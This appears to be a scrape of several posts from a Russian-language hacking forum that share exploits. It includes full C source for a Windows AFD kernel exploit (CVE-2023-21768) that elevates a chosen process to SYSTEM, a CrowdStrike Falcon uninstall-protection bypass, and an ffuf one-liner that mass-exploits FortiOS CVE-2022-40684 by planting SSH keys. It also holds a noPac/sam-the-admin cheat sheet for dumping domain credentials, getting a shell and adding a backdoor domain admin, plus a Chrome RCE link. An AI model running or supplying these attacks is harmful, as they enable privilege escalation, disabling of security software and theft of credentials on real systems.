[ IP address block list from PhishKit.

](https://gist.github.com/ozuma/fb21ab0f7143579b1f2794f4af746fb2)

IP address block list from PhishKit. GitHub Gist: instantly share code, notes, and snippets.

gist.github.com gist.github.com

LPE, Windows AFD, CVE-2023-21768
ID: 67686ba3b4103b69df379be3
Thread ID: 83466
Created: 2023-03-08T22:11:04+0000
Last Post: 2023-04-11T19:24:07+0000
Author: weaver
Prefix: Local
Replies: 11 Views: 3K

exploit.c

C:Copy to clipboard

#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <ioringapi.h>

#include "win_defs.h"
#include "ioring.h"


#define AFD_NOTIFYSOCK_IOCTL 0x12127

// Good enough� best guess on what this structure is.
typedef struct AFD_NOTIFYSOCK_DATA
{
    HANDLE hCompletion;
    PVOID pData1;
    PVOID pData2;
    PVOID pPwnPtr;
    DWORD dwCounter;
    DWORD dwTimeout;
    DWORD dwLen;
    char lol[0x4];
}AFD_NOTIFYSOCK_DATA;


int GetNtFunctions(void)
{
    int ret = -1;

    _NtCreateFile = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, unsigned long, unsigned long, unsigned long, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateFile");
    _NtDeviceIoControlFile = (unsigned long(__stdcall*)(HANDLE, void*, void*, void*, PIO_STATUS_BLOCK, unsigned long, void*, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDeviceIoControlFile");
    _NtCreateIoCompletion = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateIoCompletion");
    _NtSetIoCompletion = (unsigned long(__stdcall*)(HANDLE, unsigned long, PIO_STATUS_BLOCK, NTSTATUS, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetIoCompletion");
    _NtQuerySystemInformation = (unsigned long(__stdcall*)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");

    if ((_NtSetIoCompletion == NULL) || (_NtCreateIoCompletion == NULL) || (_NtCreateFile == NULL) || (_NtDeviceIoControlFile == NULL) || (_NtQuerySystemInformation == NULL))
    {
        ret = GetLastError();
        goto done;
    }

    ret = 0;

done:
    return ret;
}

int ArbitraryKernelWrite0x1(void* pPwnPtr)
{
    int ret = -1;
    HANDLE hCompletion = INVALID_HANDLE_VALUE;
    IO_STATUS_BLOCK IoStatusBlock = { 0 };
    HANDLE hSocket = INVALID_HANDLE_VALUE;
    UNICODE_STRING ObjectFilePath = { 0 };
    OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
    AFD_NOTIFYSOCK_DATA Data = { 0 };
    HANDLE hEvent = NULL;
    HANDLE hThread = NULL;
   
    // Hard-coded attributes for an IPv4 TCP socket
    BYTE bExtendedAttributes[] =
    {
        0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,
        0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE
    };

    ret = _NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, 1);

    if (0 != ret)
    {
        goto done;
    }

    ret = _NtSetIoCompletion(hCompletion, 0x1337, &IoStatusBlock, 0, 0x100);

    if (0 != ret)
    {
        goto done;
    }

    ObjectFilePath.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint";
    ObjectFilePath.Length = (USHORT)wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);
    ObjectFilePath.MaximumLength = ObjectFilePath.Length;

    ObjectAttributes.Length = sizeof(ObjectAttributes);
    ObjectAttributes.ObjectName = &ObjectFilePath;
    ObjectAttributes.Attributes = 0x40;

    ret = _NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));

    if (0 != ret)
    {
        goto done;
    }

    Data.hCompletion = hCompletion;
    Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    Data.pData2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    Data.dwCounter = 0x1;
    Data.dwLen = 0x1;
    Data.dwTimeout = 100000000;
    Data.pPwnPtr = pPwnPtr;

    if ((NULL == Data.pData1) || (NULL == Data.pData2))
    {
        ret = GetLastError();
        goto done;
    }

    hEvent = CreateEvent(NULL, 0, 0, NULL);
   
    if (NULL == hEvent)
    {
        ret = GetLastError();
        goto done;
    }

    _NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0);

    ret = 0;

done:
    if (INVALID_HANDLE_VALUE != hCompletion)
    {
        CloseHandle(hCompletion);
    }

    if (INVALID_HANDLE_VALUE != hSocket)
    {
        CloseHandle(hSocket);
    }

    if (NULL != hEvent)
    {
        CloseHandle(hEvent);
    }

    if (NULL != Data.pData1)
    {
        VirtualFree(Data.pData1, 0, MEM_RELEASE);
    }

    if (NULL != Data.pData2)
    {
        VirtualFree(Data.pData2, 0, MEM_RELEASE);
    }

    return ret;
}

int main(int argc, char* argv[])
{
    int ret = -1;
    PIORING_OBJECT pIoRing = NULL;
    ULONG pid = 0;

    if (argc != 2)
    {
        printf("usage:\nexp.exe <pid>\n");
        goto done;
    }

    pid = strtol(argv[1], NULL, 10);

    printf("[!] Attempting to elevate pid %i\n", pid);

    ret = GetNtFunctions();

    if (0 != ret)
    {
        printf("[-] Failed to get address of NT functions: %0x\n", ret);
        goto done;
    }

    ret = ioring_setup(&pIoRing);

    if (0 != ret)
    {
        printf("[-] IORING setup failed: %0x\n", ret);
        goto done;
    }

    printf("[+] IoRing Obj Address at %llx\n", pIoRing);

    ret = ArbitraryKernelWrite0x1((char*)&pIoRing->RegBuffers + 0x3);

    if (0 != ret)
    {
        printf("[-] IoRing->RegBuffers overwrite failed: %0x\n", ret);
        goto done;
    }

    printf("[+] IoRing->RegBuffers overwritten with address 0x1000000\n");

    ret = ArbitraryKernelWrite0x1((char*)&pIoRing->RegBuffersCount);

    if (0 != ret)
    {
        printf("[-] IoRing->RegBuffersCount overwrite failed: %0x\n", ret);
        goto done;
    }

    printf("[+] IoRing->RegBuffersCount overwritten with 0x1\n");

    ret = ioring_lpe(pid, 0x1000000, 0x1);

    if (0 != ret)
    {
        printf("[-] LPE Failed: %0x\n", ret);
        goto done;
    }

    printf("[+] Target process token elevated to SYSTEM!\n");

done:
    return ret;
}

ioring.h

C:Copy to clipboard

#ifndef _IORING_H_
#define _IORING_H_

#include "win_defs.h"

typedef struct _NT_IORING_CREATE_FLAGS
{
    enum _NT_IORING_CREATE_REQUIRED_FLAGS Required;
    enum _NT_IORING_CREATE_ADVISORY_FLAGS Advisory;
} NT_IORING_CREATE_FLAGS, * PNT_IORING_CREATE_FLAGS;

typedef struct _NT_IORING_INFO
{
    enum IORING_VERSION IoRingVersion;
    struct _NT_IORING_CREATE_FLAGS Flags;
    unsigned int SubmissionQueueSize;
    unsigned int SubmissionQueueRingMask;
    unsigned int CompletionQueueSize;
    unsigned int CompletionQueueRingMask;
    struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue;
    struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue;
} NT_IORING_INFO, * PNT_IORING_INFO;

typedef struct _IOP_MC_BUFFER_ENTRY
{
    USHORT Type;
    USHORT Reserved;
    ULONG Size;
    ULONG ReferenceCount;
    ULONG Flags;
    LIST_ENTRY GlobalDataLink;
    PVOID Address;
    ULONG Length;
    CHAR AccessMode;
    ULONG MdlRef;
    struct _MDL* Mdl;
    KEVENT MdlRundownEvent;
    PULONG64 PfnArray;
    BYTE PageNodes[0x20];
} IOP_MC_BUFFER_ENTRY, * PIOP_MC_BUFFER_ENTRY;

typedef struct _IORING_OBJECT
{
    short Type;
    short Size;
    struct _NT_IORING_INFO UserInfo;
    void* Section;
    struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue;
    struct _MDL* CompletionQueueMdl;
    struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue;
    unsigned __int64 ViewSize;
    long InSubmit;
    unsigned __int64 CompletionLock;
    unsigned __int64 SubmitCount;
    unsigned __int64 CompletionCount;
    unsigned __int64 CompletionWaitUntil;
    struct _KEVENT CompletionEvent;
    unsigned char SignalCompletionEvent;
    struct _KEVENT* CompletionUserEvent;
    unsigned int RegBuffersCount;
    struct _IOP_MC_BUFFER_ENTRY** RegBuffers;
    unsigned int RegFilesCount;
    void** RegFiles;
} IORING_OBJECT, * PIORING_OBJECT;

typedef struct _HIORING
{
    HANDLE handle;
    NT_IORING_INFO Info;
    ULONG IoRingKernelAcceptedVersion;
    PVOID RegBufferArray;
    ULONG BufferArraySize;
    PVOID Unknown;
    ULONG FileHandlesCount;
    ULONG SubQueueHead;
    ULONG SubQueueTail;
}_HIORING;

int ioring_setup(PIORING_OBJECT* ppIoRingAddr);
int ioring_lpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, DWORD dwFakeRegBufferCnt);

#endif

ioring_lpe.c

C:Copy to clipboard

#include <windows.h>
#include <ioringapi.h>
#include <winternl.h>
#include <ntstatus.h>

#include "ioring.h"
#include "win_defs.h"

HIORING hIoRing = NULL;
PIORING_OBJECT pIoRing = NULL;
HANDLE hInPipe = INVALID_HANDLE_VALUE;
HANDLE hOutPipe = INVALID_HANDLE_VALUE;
HANDLE hInPipeClient = INVALID_HANDLE_VALUE;
HANDLE hOutPipeClient = INVALID_HANDLE_VALUE;


int ioring_setup(PIORING_OBJECT* ppIoRingAddr)
{
    int ret = -1;
    IORING_CREATE_FLAGS ioRingFlags = { 0 };

    ioRingFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
    ioRingFlags.Advisory = IORING_CREATE_REQUIRED_FLAGS_NONE;

    ret = CreateIoRing(IORING_VERSION_3, ioRingFlags, 0x10000, 0x20000, &hIoRing);

    if (0 != ret)
    {
        goto done;
    }

    ret = getobjptr(ppIoRingAddr, GetCurrentProcessId(), *(PHANDLE)hIoRing);

    if (0 != ret)
    {
        goto done;
    }

    pIoRing = *ppIoRingAddr;

    hInPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_in", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
    hOutPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_out", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);

    if ((INVALID_HANDLE_VALUE == hInPipe) || (INVALID_HANDLE_VALUE == hOutPipe))
    {
        ret = GetLastError();
        goto done;
    }

    hInPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_in", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    hOutPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_out", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    if ((INVALID_HANDLE_VALUE == hInPipeClient) || (INVALID_HANDLE_VALUE == hOutPipeClient))
    {
        ret = GetLastError();
        goto done;
    }

    ret = 0;

done:
    return ret;
}

int getobjptr(PULONG64 ppObjAddr, ULONG ulPid, HANDLE handle)
{
    int ret = -1;
    PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
    ULONG ulBytes = 0;
    NTSTATUS ntStatus = STATUS_SUCCESS;

    while ((ntStatus = _NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
    {
        if (pHandleInfo != NULL)
        {
            pHandleInfo = HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, 2 * ulBytes);
        }

        else
        {
            pHandleInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
        }
    }

    if (ntStatus != STATUS_SUCCESS)
    {
        ret = ntStatus;
        goto done;
    }

    for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
    {
        if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == handle))
        {
            *ppObjAddr = pHandleInfo->Handles[i].Object;
            ret = 0;
            break;
        }
    }

done:
    if (NULL != pHandleInfo)
    {
        HeapFree(GetProcessHeap, 0, pHandleInfo);
    }
    return ret;
}

int ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen)
{
    int ret = -1;
    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient);
    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
    IORING_CQE cqe = { 0 };

    pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);

    if (NULL == pMcBufferEntry)
    {
        ret = GetLastError();
        goto done;
    }

    pMcBufferEntry->Address = pReadAddr;
    pMcBufferEntry->Length = ulReadLen;
    pMcBufferEntry->Type = 0xc02;
    pMcBufferEntry->Size = 0x80;
    pMcBufferEntry->AccessMode = 1;
    pMcBufferEntry->ReferenceCount = 1;

    pRegisterBuffers[0] = pMcBufferEntry;

    ret = BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);

    if (0 != ret)
    {
        goto done;
    }

    ret = SubmitIoRing(hIoRing, 0, 0, NULL);

    if (0 != ret)
    {
        goto done;
    }

    ret = PopIoRingCompletion(hIoRing, &cqe);

    if (0 != ret)
    {
        goto done;
    }

    if (0 != cqe.ResultCode)
    {
        ret = cqe.ResultCode;
        goto done;
    }

    if (0 == ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL))
    {
        ret = GetLastError();
        goto done;
    }

    ret = 0;

done:
    if (NULL != pMcBufferEntry)
    {
        VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
    }
    return ret;
}

int ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen)
{
    int ret = -1;
    PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
    IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient);
    IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
    IORING_CQE cqe = { 0 };

    if (0 == WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))
    {
        ret = GetLastError();
        goto done;
    }

    pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);

    if (NULL == pMcBufferEntry)
    {
        ret = GetLastError();
        goto done;
    }

    pMcBufferEntry->Address = pWriteAddr;
    pMcBufferEntry->Length = ulWriteLen;
    pMcBufferEntry->Type = 0xc02;
    pMcBufferEntry->Size = 0x80;
    pMcBufferEntry->AccessMode = 1;
    pMcBufferEntry->ReferenceCount = 1;

    pRegisterBuffers[0] = pMcBufferEntry;

    ret = BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, NULL, IOSQE_FLAGS_NONE);

    if (0 != ret)
    {
        goto done;
    }

    ret = SubmitIoRing(hIoRing, 0, 0, NULL);

    if (0 != ret)
    {
        goto done;
    }

    ret = PopIoRingCompletion(hIoRing, &cqe);

    if (0 != ret)
    {
        goto done;
    }

    if (0 != cqe.ResultCode)
    {
        ret = cqe.ResultCode;
        goto done;
    }

    ret = 0;

done:
    if (NULL != pMcBufferEntry)
    {
        VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);
    }
    return ret;
}

int ioring_lpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG ulFakeRegBufferCnt)
{
    int ret = -1;
    HANDLE hProc = NULL;
    ULONG64 ullSystemEPROCaddr = 0;
    ULONG64 ullTargEPROCaddr = 0;
    PVOID pFakeRegBuffers = NULL;
    _HIORING* phIoRing = NULL;
    ULONG64 ullSysToken = 0;
    char null[0x10] = { 0 };

    hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, pid);

    if (NULL == hProc)
    {
        ret = GetLastError();
        goto done;
    }

    ret = getobjptr(&ullSystemEPROCaddr, 4, 4);

    if (0 != ret)
    {
        goto done;
    }

    printf("[+] System EPROC address: %llx\n", ullSystemEPROCaddr);

    ret = getobjptr(&ullTargEPROCaddr, GetCurrentProcessId(), hProc);

    if (0 != ret)
    {
        goto done;
    }

    printf("[+} Target process EPROC address: %llx\n", ullTargEPROCaddr);

    pFakeRegBuffers = VirtualAlloc(ullFakeRegBufferAddr, sizeof(ULONG64) * ulFakeRegBufferCnt, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    if (pFakeRegBuffers != (PVOID)ullFakeRegBufferAddr)
    {
        ret = GetLastError();
        goto done;
    }

    memset(pFakeRegBuffers, 0, sizeof(ULONG64) * ulFakeRegBufferCnt);

    phIoRing = *(_HIORING**)&hIoRing;
    phIoRing->RegBufferArray = pFakeRegBuffers;
    phIoRing->BufferArraySize = ulFakeRegBufferCnt;

    ret = ioring_read(pFakeRegBuffers, ullSystemEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));

    if (0 != ret)
    {
        goto done;
    }

    printf("[+] System token is at: %llx\n", ullSysToken);

    ret = ioring_write(pFakeRegBuffers, ullTargEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));

    if (0 != ret)
    {
        goto done;
    }

    ioring_write(pFakeRegBuffers, &pIoRing->RegBuffersCount, &null, 0x10);

    ret = 0;

done:
    return ret;
}

win_defs.h

C:Copy to clipboard

#ifndef _WIN_DEFS_H_
#define _WIN_DEFS_H_

#define EPROC_TOKEN_OFFSET 0x4b8

#define SystemHandleInformation (SYSTEM_INFORMATION_CLASS)16

typedef struct _OBJECT_TYPE_INFORMATION
{
    UNICODE_STRING TypeName;
    ULONG TotalNumberOfObjects;
    ULONG TotalNumberOfHandles;
    ULONG TotalPagedPoolUsage;
    ULONG TotalNonPagedPoolUsage;
    ULONG TotalNamePoolUsage;
    ULONG TotalHandleTableUsage;
    ULONG HighWaterNumberOfObjects;
    ULONG HighWaterNumberOfHandles;
    ULONG HighWaterPagedPoolUsage;
    ULONG HighWaterNonPagedPoolUsage;
    ULONG HighWaterNamePoolUsage;
    ULONG HighWaterHandleTableUsage;
    ULONG InvalidAttributes;
    GENERIC_MAPPING GenericMapping;
    ULONG ValidAccessMask;
    BOOLEAN SecurityRequired;
    BOOLEAN MaintainHandleCount;
    BOOLEAN TypeIndex;
    CHAR ReservedByte;
    ULONG PoolType;
    ULONG DefaultPagedPoolCharge;
    ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    unsigned short UniqueProcessId;
    unsigned short CreatorBackTraceIndex;
    unsigned char ObjectTypeIndex;
    unsigned char HandleAttributes;
    unsigned short HandleValue;
    void* Object;
    unsigned long GrantedAccess;
    long __PADDING__[1];
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    unsigned long NumberOfHandles;
    struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef struct _DISPATCHER_HEADER
{
    union
    {
        volatile long Lock;
        long LockNV;
        struct
        {
            unsigned char Type;
            unsigned char Signalling;
            unsigned char Size;
            unsigned char Reserved1;
        };
        struct
        {
            unsigned char TimerType;
            union
            {
                unsigned char TimerControlFlags;
                struct
                {
                    struct
                    {
                        unsigned char Absolute : 1;
                        unsigned char Wake : 1;
                        unsigned char EncodedTolerableDelay : 6;
                    };
                    unsigned char Hand;
                    union
                    {
                        unsigned char TimerMiscFlags;
                        struct
                        {
                            unsigned char Index : 6;
                            unsigned char Inserted : 1;
                            volatile unsigned char Expired : 1;
                        };
                    };
                };
            };
        };
        struct
        {
            unsigned char Timer2Type;
            union
            {
                unsigned char Timer2Flags;
                struct
                {
                    struct
                    {
                        unsigned char Timer2Inserted : 1;
                        unsigned char Timer2Expiring : 1;
                        unsigned char Timer2CancelPending : 1;
                        unsigned char Timer2SetPending : 1;
                        unsigned char Timer2Running : 1;
                        unsigned char Timer2Disabled : 1;
                        unsigned char Timer2ReservedFlags : 2;
                    };
                    unsigned char Timer2ComponentId;
                    unsigned char Timer2RelativeId;
                };
            };
        };
        struct
        {
            unsigned char QueueType;
            union
            {
                unsigned char QueueControlFlags;
                struct
                {
                    struct
                    {
                        unsigned char Abandoned : 1;
                        unsigned char DisableIncrement : 1;
                        unsigned char QueueReservedControlFlags : 6;
                    };
                    unsigned char QueueSize;
                    unsigned char QueueReserved;
                };
            };
        };
        struct
        {
            unsigned char ThreadType;
            unsigned char ThreadReserved;
            union
            {
                unsigned char ThreadControlFlags;
                struct
                {
                    struct
                    {
                        unsigned char CycleProfiling : 1;
                        unsigned char CounterProfiling : 1;
                        unsigned char GroupScheduling : 1;
                        unsigned char AffinitySet : 1;
                        unsigned char Tagged : 1;
                        unsigned char EnergyProfiling : 1;
                        unsigned char SchedulerAssist : 1;
                        unsigned char ThreadReservedControlFlags : 1;
                    };
                    union
                    {
                        unsigned char DebugActive;
                        struct
                        {
                            unsigned char ActiveDR7 : 1;
                            unsigned char Instrumented : 1;
                            unsigned char Minimal : 1;
                            unsigned char Reserved4 : 2;
                            unsigned char AltSyscall : 1;
                            unsigned char Emulation : 1;
                            unsigned char Reserved5 : 1;
                        };
                    };
                };
            };
        };
        struct
        {
            unsigned char MutantType;
            unsigned char MutantSize;
            unsigned char DpcActive;
            unsigned char MutantReserved;
        };
    };
    long SignalState;
    LIST_ENTRY WaitListHead;
} DISPATCHER_HEADER, * PDISPATCHER_HEADER;

typedef struct _KEVENT
{
    struct _DISPATCHER_HEADER Header;
} KEVENT, * PKEVENT;


DWORD(WINAPI* _NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
DWORD(WINAPI* _NtDeviceIoControlFile)(HANDLE FileHandle, HANDLE Event, VOID* ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength);
DWORD(WINAPI* _NtCreateIoCompletion)(PHANDLE IoCompletionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, ULONG NumberOfConcurrentThreads);
DWORD(WINAPI* _NtSetIoCompletion)(HANDLE IoCompletionHandle, ULONG CompletionKey, PIO_STATUS_BLOCK IoStatusBlock, NTSTATUS CompletionStatus, ULONG NumberOfBytesTransferred);
DWORD(WINAPI* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);

#endif

Description

Usage: Windows_AFD_LPE_CVE-2023-21768.exe
where is the process ID (in decimal) of the process to elevate.
Should result in the target process being elevated to SYSTEM

Click to expand...

github.com

[ GitHub - xforcered/Windows_LPE_AFD_CVE-2023-21768: LPE exploit for

CVE-2023-21768 ](https://github.com/xforcered/Windows_LPE_AFD_CVE-2023-21768)

LPE exploit for CVE-2023-21768. Contribute to xforcered/Windows_LPE_AFD_CVE-2023-21768 development by creating an account on GitHub.

github.com github.com

CVE-2022-44721 Crowdstrike Falcon Uninstaller
ID: 67686ba3b4103b69df379bfe
Thread ID: 77421
Created: 2022-12-05T14:21:04+0000
Last Post: 2023-01-19T08:14:48+0000
Author: fakeid
Prefix: Local
Replies: 5 Views: 3K

CrowdStrike Falcon is a cloud-powered endpoint detection and response (EDR) and antivirus (AV) solution. On each end-device a kernel level managed sensor is deployed and makes use of the cloud-based capabilities. The sensor can be configured with an uninstall protection. It prevents the uninstallation of CrowdStrike Falcon sensor on the end-device without a one-time generated token.
Exploiting this vulnerability allows an attacker with administrative privileges to bypass the token check on Windows end-devices and to uninstall the sensor from the device without proper authorization, effectively removing the device's EDR and AV protection.
Vulnerable sensor version: 6.44.15806

github.com

[ GitHub - purplededa/CVE-2022-44721-CsFalconUninstaller

](https://github.com/purplededa/CVE-2022-44721-CsFalconUninstaller.git)

Contribute to purplededa/CVE-2022-44721-CsFalconUninstaller development by creating an account on GitHub.

github.com github.com

CVE-2022-40684 PoC
ID: 67686ba3b4103b69df379c14
Thread ID: 74310
Created: 2022-10-14T03:21:33+0000
Last Post: 2022-10-28T07:54:32+0000
Author: timeshout
Prefix: Remote
Replies: 18 Views: 3K

Code:Copy to clipboard

ffuf -w "host_list.txt:URL" -u "https://URL/api/v2/cmdb/system/admin/admin" -X PUT -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[127.0.0.1]:8000";by=”[127.0.0.1]:9000";' -d '{"ssh-public-key1": "h4x0r"}' -mr "SSH" -r

1665717687736.png

Sam-the-Admin CVE-2021-42278 - Name impersonation + CVE-2021-42287 - KDC bamboozling
ID: 67686ba3b4103b69df379c56
Thread ID: 60835
Created: 2022-01-04T07:09:26+0000
Last Post: 2022-03-04T13:13:00+0000
Author: pstdocx
Prefix: Remote
Replies: 38 Views: 3K

Уже не новая но стоящая внимания цвешка [https://medium.com/@mvelazco/huntin...-domain-controller- impersonation-f704513c8a45](https://medium.com/@mvelazco/hunting-for- samaccountname-spoofing-cve-2021-42287-and-domain-controller- impersonation-f704513c8a45)

Мой краткий читщит по которому я поднимался ею в тест лабе))) кстати успешно

1. L34Rn

Code:Copy to clipboard

    #https://github.com/L34Rn/noPac-1
    #настраиваем
    $ sudo apt-get update
    $ sudo apt install python3-pip
    $ pip3 install -r requirements.txt
    #Сканирует на уязвимости, там где меньше Ticket size там уязвимо
    $ python3 scanner.py domain.local/username:'Password' -dc-ip 10.10.10.10
    # дампим все креды [-use-ldap опциональный параметр]
    $ python3 noPac.py domain.local/username:'Password' -dc-ip 10.10.10.10 -dc-host dc01 --impersonate administrator -dump [-use-ldap]
    # получаем шел [-use-ldap опциональный параметр]
    $ python3 noPac.py domain.local/username:'Password' -dc-ip 10.10.10.10 -dc-host dc01 --impersonate administrator -shell [-use-ldap]

2. WazeHell

Code:Copy to clipboard

    # скачиваем на kali linux https://github.com/WazeHell/sam-the-admin
    # разархивируем и переходим в папку
    $ cd sam-the-admin
    # устанавливаем зависимости
    $ pip3 install -r requirements.txt
    # запускаем експлойт
    # дампаем хеш 
    $ python3 sam_the_admin.py "domain.local/username:Password123" -dc-ip 10.10.10.10 -dc-host DC01 -dump -just-dc-user domain.local/Administrator
    # или получаем shell, потом добавляем локал админа
    $ python3 sam_the_admin.py "domain.local/UserName:Password123" -dc-ip 10.10.10.10 -dc-host DC01 -shell
    # C:\windows\
    system32\> net user /add privetkakdela Password321
    system32\> net localgroup administrators privetkakdela /add
    system32\> net group "domain admins" privetkakdela /add

Code:Copy to clipboard

Если получаем ошибку {
[-] Error getting TGT, Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
[*] Get TGT wrong!
}
# открываем файл в редакторе
$ sudo nano /etc/systemd/timesyncd.conf
# раскоментм строчку ntp и вписываем туда айпишник дк
[Time]
NTP=dom.contr.ip.ad
FallbackNTP=ntp.ubuntu.com pool.ntp.org
# ctrl+o -> enter -> ctrl+x
$ sudo systemctl restart systemd-timesyncd
# если ошибка
$ sudo apt update
$ sudo apt install ntpdate
$ sudo ntpdate dom.contr.ip.ad
# теперь ошибки не будет
RCE, Google Chrome, CVE-2021-21220
ID: 67686ba3b4103b69df379c96
Thread ID: 50583
Created: 2021-04-12T18:27:47+0000
Last Post: 2021-04-19T17:54:00+0000
Author: petroglyph
Prefix: Remote
Replies: 19 Views: 3K

github.com

[ exploits/chrome-0day at master · r4j0x00/exploits

](https://github.com/r4j0x00/exploits/tree/master/chrome-0day)

Contribute to r4j0x00/exploits development by creating an account on GitHub.

github.com github.com

__https://twitter.com/x/status/1381643526010597380

1618251953500.png
Проверено,действительно работает :)
Если что это не фуллчейн,т.е без SBX и запускать нужно --no-sandbox если потестить хотите
Сорян что немного оффтоп и поскрипткидивски,но прям очень порадовала эта штука

